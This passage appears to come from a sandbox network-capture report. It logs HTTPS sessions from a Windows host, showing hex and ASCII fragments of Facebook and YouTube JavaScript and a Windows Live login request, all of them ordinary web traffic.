2024-01-17 23:34:54 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 47 65 6e 64 65 72 43 6f 6e 73 74 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 7b 4e 4f 54 5f 41 5f 50 45 52 53 4f 4e 3a 30 2c 46 45 4d 41 4c 45 5f 53 49 4e 47 55 4c 41 52 3a 31 2c 4d 41 4c 45 5f 53 49 4e 47 55 4c 41 52 3a 32 2c 46 45 4d 41 4c 45 5f 53 49 4e 47 55 4c 41 52 5f 47 55 45 53 53 3a 33 2c 4d 41 4c 45 5f 53 49 4e 47 55 4c 41 52 5f 47 55 45 53 53 3a 34 2c 4d 49 58 45 44 5f 55 4e 4b 4e 4f 57 4e 3a 35 2c 4e 45 55 54 45 52 5f 53 49 4e 47 55 4c 41 52 3a 36 2c 55 4e 4b 4e 4f 57 4e 5f 53 49 4e 47 55 4c 41 52 3a 37 2c 46 45 4d 41 4c 45 5f 50 4c 55 52 41 4c 3a 38 2c 4d 41 4c 45 5f 50 4c 55 52 41 4c 3a 39 2c 4e 45 55 54 Data Ascii: /FB_PKG_DELIM/__d("GenderConst",[],(function(a,b,c,d,e,f){e.exports={NOT_A_PERSON:0,FEMALE_SINGULAR:1,MALE_SINGULAR:2,FEMALE_SINGULAR_GUESS:3,MALE_SINGULAR_GUESS:4,MIXED_UNKNOWN:5,NEUTER_SINGULAR:6,UNKNOWN_SINGULAR:7,FEMALE_PLURAL:8,MALE_PLURAL:9,NEUT
2024-01-17 23:34:54 UTC	14958	IN	Data Raw: 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 63 5b 64 5d 3b 69 66 28 74 79 70 65 6f 66 20 65 3d 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 61 29 62 2b 3d 65 2e 74 6f 53 74 72 69 6e 67 28 29 3b 65 6c 73 65 7b 76 61 72 20 66 3b 28 66 3d 74 68 69 73 2e 5f 5f 65 72 72 6f 72 4c 69 73 74 65 6e 65 72 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 66 2e 6f 6e 53 74 72 69 6e 67 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 45 72 72 6f 72 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 66 2e 6f 6e 53 74 72 69 6e 67 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 45 72 72 6f 72 28 65 29 7d 7d 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 74 68 69 73 29 7c 7c 28 74 68 69 73 2e 24 32 3d 62 29 3b 72 65 74 75 72 6e 20 62 7d 3b Data Ascii: d=0;d<c.length;++d){var e=c[d];if(typeof e==="string"\|\|e instanceof a)b+=e.toString();else{var f;(f=this.__errorListener)==null?void 0:f.onStringSerializationError==null?void 0:f.onStringSerializationError(e)}}Object.isFrozen(this)\|\|(this.$2=b);return b};
2024-01-17 23:34:54 UTC	16384	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3d 63 28 22 72 65 71 75 69 72 65 44 65 66 65 72 72 65 64 22 29 28 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 29 2e 5f 5f 73 65 74 52 65 66 28 22 74 72 61 6e 73 6c 61 74 69 6f 6e 4f 76 65 72 72 69 64 65 4c 69 73 74 65 6e 65 72 22 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 68 2e 6f 6e 52 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 2e 6c 6f 67 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 68 61 73 68 3a 61 7d 7d 29 7d 29 7d 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 46 62 74 45 6e 76 22 2c 5b 22 46 62 74 45 72 72 6f 72 Data Ascii: ,(function(a,b,c,d,e,f,g){"use strict";var h=c("requireDeferred")("IntlQtEventFalcoEvent").__setRef("translationOverrideListener");function a(a){h.onReady(function(b){return b.log(function(){return{hash:a}})})}g["default"]=a}),98);__d("FbtEnv",["FbtError
2024-01-17 23:34:55 UTC	16384	IN	Data Raw: 74 22 5d 3d 62 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 43 6f 6e 73 74 55 72 69 55 74 69 6c 73 22 2c 5b 22 43 6f 6d 65 74 4c 72 75 43 61 63 68 65 22 2c 22 45 78 65 63 75 74 69 6f 6e 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 50 48 50 51 75 65 72 79 53 65 72 69 61 6c 69 7a 65 72 22 2c 22 50 48 50 51 75 65 72 79 53 65 72 69 61 6c 69 7a 65 72 4e 6f 45 6e 63 6f 64 69 6e 67 22 2c 22 55 52 49 52 46 43 33 39 38 36 22 2c 22 55 52 49 53 63 68 65 6d 65 73 22 2c 22 55 72 69 4e 65 65 64 52 61 77 51 75 65 72 79 53 56 43 6f 6e 66 69 67 22 2c 22 69 73 53 61 6d 65 4f 72 69 67 69 6e 22 2c 22 72 65 63 6f 76 65 72 61 62 6c 65 56 69 6f 6c 61 74 69 6f 6e 22 2c 22 73 74 72 75 63 74 75 72 65 64 43 6c 6f 6e 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: t"]=b}),66);__d("ConstUriUtils",["CometLruCache","ExecutionEnvironment","FBLogger","PHPQuerySerializer","PHPQuerySerializerNoEncoding","URIRFC3986","URISchemes","UriNeedRawQuerySVConfig","isSameOrigin","recoverableViolation","structuredClone"],(function(
2024-01-17 23:34:55 UTC	6504	IN	Data Raw: 66 69 6c 6c 22 29 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6d 3d 21 31 2c 75 28 28 68 7c 7c 28 68 3d 63 28 22 70 65 72 66 6f 72 6d 61 6e 63 65 4e 6f 77 22 29 29 29 28 29 2d 61 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 61 29 7b 76 61 72 20 62 3d 6e 2d 6f 3b 69 66 28 61 3c 62 29 72 65 74 75 72 6e 20 62 2d 61 3b 61 3d 61 25 6e 3b 69 66 28 61 3e 62 7c 7c 61 3c 6f 29 72 65 74 75 72 6e 20 30 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 62 2d 61 7d 66 75 6e 63 74 69 6f 6e 20 75 28 61 29 7b 76 61 72 20 62 3d 28 68 7c 7c 28 68 3d 63 28 22 70 65 72 66 6f 72 6d 61 6e 63 65 4e 6f 77 22 29 29 29 28 29 3b 69 66 28 62 3e 6c 29 7b 61 3d 74 28 61 29 3b 69 66 28 61 3e 30 29 7b 62 3d 62 2b 61 3b 78 28 62 29 3b 6c 3d 62 7d 7d 76 28 29 26 26 73 28 29 7d 66 75 6e 63 74 69 6f 6e Data Ascii: fill")(function(a){m=!1,u((h\|\|(h=c("performanceNow")))()-a)}))}function t(a){var b=n-o;if(a<b)return b-a;a=a%n;if(a>b\|\|a<o)return 0;else return b-a}function u(a){var b=(h\|\|(h=c("performanceNow")))();if(b>l){a=t(a);if(a>0){b=b+a;x(b);l=b}}v()&&s()}function

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49809	40.126.24.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4693 Host: login.live.com
2024-01-17 23:34:54 UTC	4693	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-01-17 23:34:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 17 Jan 2024 23:33:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C107_BL2 x-ms-request-id: f9067049-85b0-410e-98c7-87fdd4b0463a PPServer: PPV: 30 H: BL02PF937043C9C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 17 Jan 2024 23:34:54 GMT Connection: close Content-Length: 10921
2024-01-17 23:34:55 UTC	10921	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49811	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	1166	OUT	GET /s/desktop/80338919/jsbin/intersection-observer.min.vflset/intersection-observer.min.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:55 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 5547 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28966 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:55 UTC	566	IN	Data Raw: 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 36 20 47 6f 6f 67 6c 65 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 0a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 57 33 43 20 53 4f 46 54 57 41 52 45 20 41 4e 44 20 44 4f 43 55 4d 45 4e 54 20 4e 4f 54 49 43 45 20 41 4e 44 20 4c 49 43 45 4e 53 45 2e 0a 0a 20 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 43 6f 6e 73 6f 72 74 69 75 6d 2f 4c 65 67 61 6c 2f 32 30 31 35 2f 63 6f 70 79 72 69 67 68 74 2d 73 6f 66 74 77 61 72 65 2d 61 6e 64 2d 64 6f 63 75 6d 65 6e 74 0a 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 61 29 7b 74 68 69 73 2e 74 69 6d 65 3d 61 2e 74 69 6d 65 3b 74 68 69 73 2e 74 61 72 67 Data Ascii: /* Copyright 2016 Google Inc. All Rights Reserved. Licensed under the W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE. https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document*/(function(f,h){function t(a){this.time=a.time;this.targ
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 6e 67 3f 31 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 64 28 61 2c 62 29 7b 62 3d 62 7c 7c 7b 7d 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 63 61 6c 6c 62 61 63 6b 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 62 2e 72 6f 6f 74 26 26 31 21 3d 62 2e 72 6f 6f 74 2e 6e 6f 64 65 54 79 70 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 72 6f 6f 74 20 6d 75 73 74 20 62 65 20 61 6e 20 45 6c 65 6d 65 6e 74 22 29 3b 0a 74 68 69 73 2e 67 3d 79 28 74 68 69 73 2e 67 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 42 29 3b 74 68 69 73 2e 44 3d 61 3b 74 68 69 73 2e 68 3d 5b 5d 3b 74 68 69 73 2e 69 3d 5b 5d 3b 74 68 69 73 2e 73 3d 74 68 69 73 2e 4c 28 62 2e 72 6f 6f 74 4d 61 72 Data Ascii: ng?1:0}function d(a,b){b=b\|\|{};if("function"!=typeof a)throw Error("callback must be a function");if(b.root&&1!=b.root.nodeType)throw Error("root must be an Element");this.g=y(this.g.bind(this),this.B);this.D=a;this.h=[];this.i=[];this.s=this.L(b.rootMar
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 29 22 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 22 69 6e 20 66 2e 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 66 2e 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 2c 22 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 30 3c 74 68 69 73 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 7d 7d 29 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 5b 5d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 42 3d 31 30 30 3b 64 Data Ascii: IntersectionObserverEntry.prototype)"isIntersecting"in f.IntersectionObserverEntry.prototype\|\|Object.defineProperty(f.IntersectionObserverEntry.prototype,"isIntersecting",{get:function(){return 0<this.intersectionRatio}});else{var n=[];d.prototype.B=100;d
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 7c 7c 61 5b 31 5d 3b 72 65 74 75 72 6e 20 61 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 4b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6c 7c 7c 28 74 68 69 73 2e 6c 3d 21 30 2c 74 68 69 73 2e 6d 3f 74 68 69 73 2e 6f 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 67 2c 74 68 69 73 2e 6d 29 3a 28 75 28 66 2c 22 72 65 73 69 7a 65 22 2c 74 68 69 73 2e 67 2c 21 30 29 2c 75 28 68 2c 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 67 2c 21 30 29 2c 74 68 69 73 2e 43 26 26 22 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 22 69 6e 20 66 26 26 28 74 68 69 73 2e 6a 3d 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 74 68 69 73 2e 67 29 2c 74 68 69 73 2e 6a 2e 6f 62 73 65 72 76 65 28 68 2c 0a 7b 61 74 74 72 69 62 75 74 65 73 3a 21 30 2c 63 68 Data Ascii: \|\|a[1];return a};d.prototype.K=function(){this.l\|\|(this.l=!0,this.m?this.o=setInterval(this.g,this.m):(u(f,"resize",this.g,!0),u(h,"scroll",this.g,!0),this.C&&"MutationObserver"in f&&(this.j=new MutationObserver(this.g),this.j.observe(h,{attributes:!0,ch
2024-01-17 23:34:55 UTC	1225	IN	Data Raw: 0a 63 2e 6c 65 66 74 29 3b 63 3d 4d 61 74 68 2e 6d 69 6e 28 67 2e 72 69 67 68 74 2c 63 2e 72 69 67 68 74 29 3b 67 3d 63 2d 70 3b 76 61 72 20 78 3d 6c 2d 6b 3b 63 3d 30 3c 3d 67 26 26 30 3c 3d 78 26 26 7b 74 6f 70 3a 6b 2c 62 6f 74 74 6f 6d 3a 6c 2c 6c 65 66 74 3a 70 2c 72 69 67 68 74 3a 63 2c 77 69 64 74 68 3a 67 2c 68 65 69 67 68 74 3a 78 7d 3b 69 66 28 21 63 29 62 72 65 61 6b 7d 61 3d 72 28 61 29 7d 72 65 74 75 72 6e 20 63 7d 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 48 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 72 6f 6f 74 29 76 61 72 20 61 3d 6d 28 74 68 69 73 2e 72 6f 6f 74 29 3b 65 6c 73 65 7b 61 3d 68 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 76 61 72 20 62 3d 68 2e 62 6f 64 79 3b 61 3d 7b 74 6f 70 3a 30 2c 6c 65 66 74 3a Data Ascii: c.left);c=Math.min(g.right,c.right);g=c-p;var x=l-k;c=0<=g&&0<=x&&{top:k,bottom:l,left:p,right:c,width:g,height:x};if(!c)break}a=r(a)}return c}};d.prototype.H=function(){if(this.root)var a=m(this.root);else{a=h.documentElement;var b=h.body;a={top:0,left:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49812	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	1134	OUT	GET /s/desktop/80338919/jsbin/scheduler.vflset/scheduler.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:55 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 9642 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28966 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:55 UTC	566	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 67 3b 66 75 6e 63 74 69 6f 6e 20 68 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 0a 76 61 72 20 6b 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 Data Ascii: (function(){'use strict';var g;function h(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var k="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)r
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 6d 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 6c 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 6b 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 6d 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 Data Ascii: unction m(a,b){if(b)a:{var c=l;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&k(c,a,{configurable:!0,writable:!0,value:b})}}m("Symbol",function(a){function b(f){if(this ins
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 4c 69 6b 65 22 29 3b 7d 0a 76 61 72 20 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 7d 0a 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 70 3b 0a 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 29 70 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 71 3b 61 3a 7b 76 61 72 20 64 61 3d 7b 61 3a 21 30 7d 2c 72 3d 7b 7d 3b 74 72 79 7b 72 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 64 61 3b 71 3d 72 2e 61 3b 62 72 65 61 6b 20 61 7d Data Ascii: Like");}var ca="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},p;if("function"==typeof Object.setPrototypeOf)p=Object.setPrototypeOf;else{var q;a:{var da={a:!0},r={};try{r.__proto__=da;q=r.a;break a}
